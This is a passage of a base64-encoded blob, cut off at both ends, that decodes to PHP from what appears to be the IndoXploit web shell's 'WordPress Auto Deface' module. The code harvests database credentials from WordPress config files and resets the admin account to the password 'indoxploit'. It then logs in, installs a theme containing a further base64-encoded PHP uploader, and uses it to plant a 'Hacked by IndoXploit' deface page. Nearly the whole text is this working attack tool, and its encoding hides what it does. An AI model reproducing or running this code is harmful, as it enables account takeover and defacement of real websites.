4LzMyLjAiKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgNSk7DQoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsJ2Nvb2tpZS50eHQnKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgdHJ1ZSk7DQoJCQkkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KCQkJCSAgY3VybF9jbG9zZSgkY2gpOw0KCQkJcmV0dXJuICRkYXRhOw0KCQl9DQoJCWZ1bmN0aW9uIGxvaGdpbigkY2VrLCAkd2ViLCAkdXNlcnIsICRwYXNzLCAkd3Bfc3VibWl0KSB7DQogICAgCQkkcG9zdCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICJsb2ciID0+ICIkdXNlcnIiLA0KICAgICAgICAgICAgICAgICAgICJwd2QiID0+ICIkcGFzcyIsDQogICAgICAgICAgICAgICAgICAgInJlbWVtYmVybWUiID0+ICJmb3JldmVyIiwNCiAgICAgICAgICAgICAgICAgICAid3Atc3VibWl0IiA9PiAiJHdwX3N1Ym1pdCIsDQogICAgICAgICAgICAgICAgICAgInJlZGlyZWN0X3RvIiA9PiAiJHdlYiIsDQogICAgICAgICAgICAgICAgICAgInRlc3Rjb29raWUiID0+ICIxIiwNCiAgICAgICAgICAgICAgICAgICApOw0KCQkJJGNoID0gY3VybF9pbml0KCRjZWspOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsJ2Nvb2tpZS50eHQnKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgdHJ1ZSk7DQoJCQkkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KCQkJCSAgY3VybF9jbG9zZSgkY2gpOw0KCQkJcmV0dXJuICRkYXRhOw0KCQl9DQoJCSRzY2FuID0gJF9QT1NUWydsaW5rX2NvbmZpZyddOw0KCQkkbGlua19jb25maWcgPSBzY2FuZGlyKCRzY2FuKTsNCgkJJHNjcmlwdCA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzY3JpcHQnXSk7DQoJCSR1c2VyID0gImluZG94cGxvaXQiOw0KCQkkcGFzcyA9ICJpbmRveHBsb2l0IjsNCgkJJHBhc3N4ID0gbWQ1KCRwYXNzKTsNCgkJZm9yZWFjaCgkbGlua19jb25maWcgYXMgJGRpcl9jb25maWcpIHsNCgkJCWlmKCFpc19maWxlKCIkc2Nhbi8kZGlyX2NvbmZpZyIpKSBjb250aW51ZTsNCgkJCSRjb25maWcgPSBmaWxlX2dldF9jb250ZW50cygiJHNjYW4vJGRpcl9jb25maWciKTsNCgkJCWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwgJGNvbmZpZykpIHsNCgkJCQkkZGJob3N0ID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX0hPU1QnLCAnIiwiJyIpOw0KCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7DQoJCQkJJGRicGFzcyA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkJJGRibmFtZSA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9OQU1FJywgJyIsIiciKTsNCgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7DQoJCQkJJHByZWZpeCA9ICRkYnByZWZpeC4idXNlcnMiOw0KCQkJCSRvcHRpb24gPSAkZGJwcmVmaXguIm9wdGlvbnMiOw0KCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7DQoJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCSRxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHByZWZpeCBPUkRFUiBCWSBpZCBBU0MiKTsNCgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOw0KCQkJCSRpZCA9ICRyZXN1bHRbSURdOw0KCQkJCSRxMiA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRvcHRpb24gT1JERVIgQlkgb3B0aW9uX2lkIEFTQyIpOw0KCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsNCgkJCQkkdGFyZ2V0ID0gJHJlc3VsdDJbb3B0aW9uX3ZhbHVlXTsNCgkJCQlpZigkdGFyZ2V0ID09ICcnKSB7CQkJCQkNCgkJCQkJZWNobyAiWy1dIDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD48YnI+IjsNCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICJbK10gJHRhcmdldCA8YnI+IjsNCgkJCQl9DQoJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgdXNlcl9sb2dpbj0nJHVzZXInLHVzZXJfcGFzcz0nJHBhc3N4JyBXSEVSRSBJRD0nJGlkJyIpOw0KCQkJCWlmKCEkY29ubiBPUiAhJGRiIE9SICEkdXBkYXRlKSB7DQoJCQkJCWVjaG8gIlstXSBNeVNRTCBFcnJvcjogPGZvbnQgY29sb3I9cmVkPiIubXlzcWxfZXJyb3IoKS4iPC9mb250Pjxicj48YnI+IjsNCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRzaXRlID0gIiR0YXJnZXQvd3AtbG9naW4ucGhwIjsNCgkJCQkJJHNpdGUyID0gIiR0YXJnZXQvd3AtYWRtaW4vdGhlbWUtaW5zdGFsbC5waHA/dXBsb2FkIjsNCgkJCQkJJGIxID0gYW51Y3VybCgkc2l0ZTIpOw0KCQkJCQkkd3Bfc3ViID0gYW1iaWxrYXRhKCRiMSwgImlkPVwid3Atc3VibWl0XCIgY2xhc3M9XCJidXR0b24gYnV0dG9uLXByaW1hcnkgYnV0dG9uLWxhcmdlXCIgdmFsdWU9XCIiLCJcIiAvPiIpOw0KCQkJCQkkYiA9IGxvaGdpbigkc2l0ZSwgJHNpdGUyLCAkdXNlciwgJHBhc3MsICR3cF9zdWIpOw0KCQkJCQkkYW51MiA9IGFtYmlsa2F0YSgkYiwibmFtZT1cIl93cG5vbmNlXCIgdmFsdWU9XCIiLCJcIiAvPiIpOw0KCQkJCQkkdXBsb2FkMyA9IGJhc2U2NF9kZWNvZGUoIloyRnVkR1Z1WncwS1BEOXdhSEFOQ2lSbWFXeGxNeUE5SUNSZlJrbE1SVk5iSjJacGJHVXpKMTA3RFFvZ0lDUnVaWGRtYVd4bE16MGlheTV3YUhBaU93MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHbG1JQ2htYVd4bFgyVjRhWE4wY3lnaUxpNHZMaTR2TGk0dkxpNHZJaTRrYm1WM1ptbHNaVE1wS1NCMWJteHBibXNvSWk0dUx5NHVMeTR1THk0dUx5SXVKRzVsZDJacGJHVXpLVHNOQ2lBZ0lDQWdJQ0FnYlc5MlpWOTFjR3h2WVdSbFpGOW1hV3hsS0NSbWFXeGxNMXNuZEcxd1gyNWhiV1VuWFN3Z0lpNHVMeTR1THk0dUx5NHVMeVJ1WlhkbWFXeGxNeUlwT3cwS0RRby9QZz09Iik7DQoJCQkJCSR3d3cgPSAibS5waHAiOw0KCQkJCQkkZnA1ID0gZm9wZW4oJHd3dywidyIpOw0KCQkJCQlmcHV0cygkZnA1LCR1cGxvYWQzKTsNCgkJCQkJJHBvc3QyID0gYXJyYXkoDQoJCQkJCQkJIl93cG5vbmNlIiA9PiAiJGFudTIiLA0KCQkJCQkJCSJfd3BfaHR0cF9yZWZlcmVyIiA9PiAiL3dwLWFkbWluL3RoZW1lLWluc3RhbGwucGhwP3VwbG9hZCIsDQoJCQkJCQkJInRoZW1lemlwIiA9PiAiQCR3d3ciLA0KCQkJCQkJCSJpbnN0YWxsLXRoZW1lLXN1Ym1pdCIgPT4gIkluc3RhbGwgTm93IiwNCgkJCQkJCQkpOw0KCQkJCQkkY2ggPSBjdXJsX2luaXQoIiR0YXJnZXQvd3AtYWRtaW4vdXBkYXRlLnBocD9hY3Rpb249dXBsb2FkLXRoZW1lIik7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCgkJCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0Mik7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsJ2Nvb2tpZS50eHQnKTsNCgkJCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsJ2Nvb2tpZS50eHQnKTsNCgkJCQkJICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIHRydWUpOw0KCQkJCQkkZGF0YTMgPSBjdXJsX2V4ZWMoJGNoKTsNCgkJCQkJCSAgY3VybF9jbG9zZSgkY2gpOw0KCQkJCQkkeSA9IGRhdGUoIlkiKTsNCgkJCQkJJG0gPSBkYXRlKCJtIik7DQoJCQkJCSRuYW1hZmlsZSA9ICJpZC5waHAiOw0KCQkJCQkkZnBpID0gZm9wZW4oJG5hbWFmaWxlLCJ3Iik7DQoJCQkJCWZwdXRzKCRmcGksJHNjcmlwdCk7DQoJCQkJCSRjaDYgPSBjdXJsX2luaXQoIiR0YXJnZXQvd3AtY29udGVudC91cGxvYWRzLyR5LyRtLyR3d3ciKTsNCgkJCQkJCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQoJCQkJCQkgICBjdXJsX3NldG9wdCgkY2g2LCBDVVJMT1BUX1BPU1RGSUVMRFMsIGFycmF5KCdmaWxlMyc9PiJAJG5hbWFmaWxlIikpOw0KCQkJCQkJICAgY3VybF9zZXRvcHQoJGNoNiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQoJCQkJCQkgICBjdXJsX3NldG9wdCgkY2g2LCBDVVJMT1BUX0NPT0tJRUZJTEUsICJjb29raWUudHh0Iik7DQoJICAgICAgIAkJICAJCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7DQoJICAgICAgIAkJICAJCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgdHJ1ZSk7DQoJCQkJCSRwb3N0UmVzdWx0ID0gY3VybF9leGVjKCRjaDYpOw0KCQkJCQkJICAgY3VybF9jbG9zZSgkY2g2KTsNCgkJCQkJJGFzID0gIiR0YXJnZXQvay5waHAiOw0KCQkJCQkkYnMgPSBhbnVjdXJsKCRhcyk7DQoJCQkJCWlmKHByZWdfbWF0Y2goIiMkc2NyaXB0I2lzIiwgJGJzKSkgew0KICAgICAgICAgICAgCSAgICAgICAJZWNobyAiWytdIDxmb250IGNvbG9yPSdsaW1lJz5iZXJoYXNpbCBtZXBlcy4uLjwvZm9udD48YnI+IjsNCiAgICAgICAgICAgIAkgICAgICAgCWVjaG8gIlsrXSA8YSBocmVmPSckYXMnIHRhcmdldD0nX2JsYW5rJz4kYXM8L2E+PGJyPjxicj4iOyANCiAgICAgICAgICAgIAkgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAJICAgICAgICBlY2hvICJbLV0gPGZvbnQgY29sb3I9J3JlZCc+Z2FnYWwgbWVwZXMuLi48L2ZvbnQ+PGJyPiI7DQogICAgICAgICAgICAJICAgICAgICBlY2hvICJbISFdIGNvYmEgYWphIG1hbnVhbDogPGJyPiI7DQogICAgICAgICAgICAJICAgICAgICBlY2hvICJbK10gPGEgaHJlZj0nJHRhcmdldC93cC1sb2dpbi5waHAnIHRhcmdldD0nX2JsYW5rJz4kdGFyZ2V0L3dwLWxvZ2luLnBocDwvYT48YnI+IjsNCiAgICAgICAgICAgIAkgICAgICAgIGVjaG8gIlsrXSB1c2VybmFtZTogPGZvbnQgY29sb3I9bGltZT4kdXNlcjwvZm9udD48YnI+IjsNCiAgICAgICAgICAgIAkgICAgICAgIGVjaG8gIlsrXSBwYXNzd29yZDogPGZvbnQgY29sb3I9bGltZT4kcGFzczwvZm9udD48YnI+PGJyPiI7ICAgICANCiAgICAgICAgICAgIAkgICAgICAgIH0NCiAgICAgICAgICAgIAkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxjZW50ZXI+PGgxPldvcmRQcmVzcyBBdXRvIERlZmFjZTwvaDE+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rX2NvbmZpZycgc2l6ZT0nNTAnIGhlaWdodD0nMTAnIHZhbHVlPSckZGlyJz48YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzY3JpcHQnIGhlaWdodD0nMTAnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nSGFja2VkIGJ5IEluZG9YcGxvaXQnIHJlcXVpcmVkPjxicj4NCgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIG5hbWU9J2F1dG9fZGVmYWNlX3dwJyB2YWx1ZT0nSGFqYXIhISc+DQoJCTwvZm9ybT4NCgkJPGJyPjxzcGFuPk5COiBUb29scyBpbmkgd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj4NCgkJPC9jZW50ZXI+IjsNCgl9DQp9IGVsc2VpZigkX0dFVFsnZG8nXSA9PSAnYXV0b19kd3AyJykgew0KCWlmKCRfUE9TVFsnYXV0b19kZWZhY2Vfd3AnXSkgew0KCQlmdW5jdGlvbiBhbnVjdXJsKCRzaXRlcykgew0KICAgIAkJJGNoID0gY3VybF9pbml0KCRzaXRlcyk7DQoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IHJ2OjMyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzIuMCIpOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsJ2Nvb2tpZS50eHQnKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLHRydWUpOw0KCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCgkJCQkgIGN1cmxfY2xvc2UoJGNoKTsNCgkJCXJldHVybiAkZGF0YTsNCgkJfQ0KCQlmdW5jdGlvbiBsb2hnaW4oJGNlaywgJHdlYiwgJHVzZXJyLCAkcGFzcywgJHdwX3N1Ym1pdCkgew0KICAgIAkJJHBvc3QgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAibG9nIiA9PiAiJHVzZXJyIiwNCiAgICAgICAgICAgICAgICAgICAicHdkIiA9PiAiJHBhc3MiLA0KICAgICAgICAgICAgICAgICAgICJyZW1lbWJlcm1lIiA9PiAiZm9yZXZlciIsDQogICAgICAgICAgICAgICAgICAgIndwLXN1Ym1pdCIgPT4gIiR3cF9zdWJtaXQiLA0KICAgICAgICAgICAgICAgICAgICJyZWRpcmVjdF90byIgPT4gIiR3ZWIiLA0KICAgICAgICAgICAgICAgICAgICJ0ZXN0Y29va2llIiA9PiAiMSIsDQogICAgICAgICAgICAgICAgICAgKTsNCgkJCSRjaCA9IGN1cmxfaW5pdCgkY2VrKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgcnY6MzIuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8zMi4wIik7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcG9zdCk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIHRydWUpOw0KCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCgkJCQkgIGN1cmxfY2xvc2UoJGNoKTsNCgkJCXJldHVybiAkZGF0YTsNCgkJfQ0KCQkkbGluayA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ2xpbmsnXSk7DQoJCSRzY3JpcHQgPSBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2NyaXB0J10pOw0KCQkkdXNlciA9ICJpbmRveHBsb2l0IjsNCgkJJHBhc3MgPSAiaW5kb3hwbG9pdCI7DQoJCSRwYXNzeCA9IG1kNSgkcGFzcyk7DQoJCWZvcmVhY2goJGxpbmsgYXMgJGRpcl9jb25maWcpIHsNCgkJCSRjb25maWcgPSBhbnVjdXJsKCRkaXJfY29uZmlnKTsNCgkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfSE9TVCcsICciLCInIik7DQoJCQkkZGJ1c2VyID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1VTRVInLCAnIiwiJyIpOw0KCQkJJGRicGFzcyA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkkZGJuYW1lID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX05BTUUnLCAnIiwiJyIpOw0KCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KCQkJJHByZWZpeCA9ICRkYnByZWZpeC4idXNlcnMiOw0KCQkJJG9wdGlvbiA9ICRkYnByZWZpeC4ib3B0aW9ucyI7DQoJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJJHEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkcHJlZml4IE9SREVSIEJZIGlkIEFTQyIpOw0KCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCSRpZCA9ICRyZXN1bHRbSURdOw0KCQkJJHEyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBPUkRFUiBCWSBvcHRpb25faWQgQVNDIik7DQoJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkkdGFyZ2V0ID0gJHJlc3VsdDJbb3B0aW9uX3ZhbHVlXTsNCgkJCWlmKCR0YXJnZXQgPT0gJycpIHsJCQkJCQ0KCQkJCWVjaG8gIlstXSA8Zm9udCBjb2xvcj1yZWQ+ZXJyb3IsIGdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+PGJyPiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIlsrXSAkdGFyZ2V0IDxicj4iOw0KCQkJfQ0KCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgdXNlcl9sb2dpbj0nJHVzZXInLHVzZXJfcGFzcz0nJHBhc3N4JyBXSEVSRSBJRD0nJGlkJyIpOw0KCQkJaWYoISRjb25uIE9SICEkZGIgT1IgISR1cGRhdGUpIHsNCgkJCQllY2hvICJbLV0gTXlTUUwgRXJyb3I6IDxmb250IGNvbG9yPXJlZD4iLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+PGJyPiI7DQoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJfSBlbHNlIHsNCgkJCQkkc2l0ZSA9ICIkdGFyZ2V0L3dwLWxvZ2luLnBocCI7DQoJCQkJJHNpdGUyID0gIiR0YXJnZXQvd3AtYWRtaW4vdGhlbWUtaW5zdGFsbC5waHA/dXBsb2FkIjsNCgkJCQkkYjEgPSBhbnVjdXJsKCRzaXRlMik7DQoJCQkJJHdwX3N1YiA9IGFtYmlsa2F0YSgkYjEsICJpZD1cIndwLXN1Ym1pdFwiIGNsYXNzPVwiYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IGJ1dHRvbi1sYXJnZVwiIHZhbHVlPVwiIiwiXCIgLz4iKTsNCgkJCQkkYiA9IGxvaGdpbigkc2l0ZSwgJHNpdGUyLCAkdXNlciwgJHBhc3MsICR3cF9zdWIpOw0KCQkJCSRhbnUyID0gYW1iaWxrYXRhKCRiLCJuYW1lPVwiX3dwbm9uY2VcIiB2YWx1ZT1cIiIsIlwiIC8+Iik7DQoJCQkJJHVwbG9hZDMgPSBiYXNlNjRfZGVjb2RlKCJaMkZ1ZEdWdVp3MEtQRDl3YUhBTkNpUm1hV3hsTXlBOUlDUmZSa2xNUlZOYkoyWnBiR1V6SjEwN0RRb2dJQ1J1WlhkbWFXeGxNejBpYXk1d2FIQWlPdzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR2xtSUNobWFXeGxYMlY0YVhOMGN5Z2lMaTR2TGk0dkxpNHZMaTR2SWk0a2JtVjNabWxzWlRNcEtTQjFibXhwYm1zb0lpNHVMeTR1THk0dUx5NHVMeUl1Skc1bGQyWnBiR1V6S1RzTkNpQWdJQ0FnSUNBZ2JXOTJaVjkxY0d4dllXUmxaRjltYVd4bEtDUm1hV3hsTTFzbmRHMXdYMjVoYldVblhTd2dJaTR1THk0dUx5NHVMeTR1THlSdVpYZG1hV3hsTXlJcE93MEtEUW8vUGc9PSIpOw0KCQkJCSR3d3cgPSAibS5waHAiOw0KCQkJCSRmcDUgPSBmb3Blbigkd3d3LCJ3Iik7DQoJCQkJZnB1dHMoJGZwNSwkdXBsb2FkMyk7DQoJCQkJJHBvc3QyID0gYXJyYXkoDQoJCQkJCQkiX3dwbm9uY2UiID0+ICIkYW51MiIsDQoJCQkJCQkiX3dwX2h0dHBfcmVmZXJlciIgPT4gIi93cC1hZG1pbi90aGVtZS1pbnN0YWxsLnBocD91cGxvYWQiLA0KCQkJCQkJInRoZW1lemlwIiA9PiAiQCR3d3ciLA0KCQkJCQkJImluc3RhbGwtdGhlbWUtc3VibWl0IiA9PiAiSW5zdGFsbCBOb3ciLA0KCQkJCQkJKTsNCgkJCQkkY2ggPSBjdXJsX2luaXQoIiR0YXJnZXQvd3AtYWRtaW4vdXBkYXRlLnBocD9hY3Rpb249dXBsb2FkLXRoZW1lIik7DQoJCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCgkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQoJCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCgkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQoJCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0Mik7DQoJCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQoJCQkJICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIHRydWUpOw0KCQkJCSRkYXRhMyA9IGN1cmxfZXhlYygkY2gpOw0KCQkJCQkgIGN1cmxfY2xvc2UoJGNoKTsNCgkJCQkkeSA9IGRhdGUoIlkiKTsNCgkJCQkkbSA9IGRhdGUoIm0iKTsNCgkJCQkkbmFtYWZpbGUgPSAiaWQucGhwIjsNCgkJCQkkZnBpID0gZm9wZW4oJG5hbWFmaWxlLCJ3Iik7DQoJCQkJZnB1dHMoJGZwaSwkc2NyaXB0KTsNCgkJCQkkY2g2ID0gY3VybF9pbml0KCIkdGFyZ2V0L3dwLWNvbnRlbnQvdXBsb2Fkcy8keS8kbS8kd3d3Iik7DQoJCQkJCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQoJCQkJCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfUE9TVEZJRUxEUywgYXJyYXkoJ2ZpbGUzJz0+IkAkbmFtYWZpbGUiKSk7DQ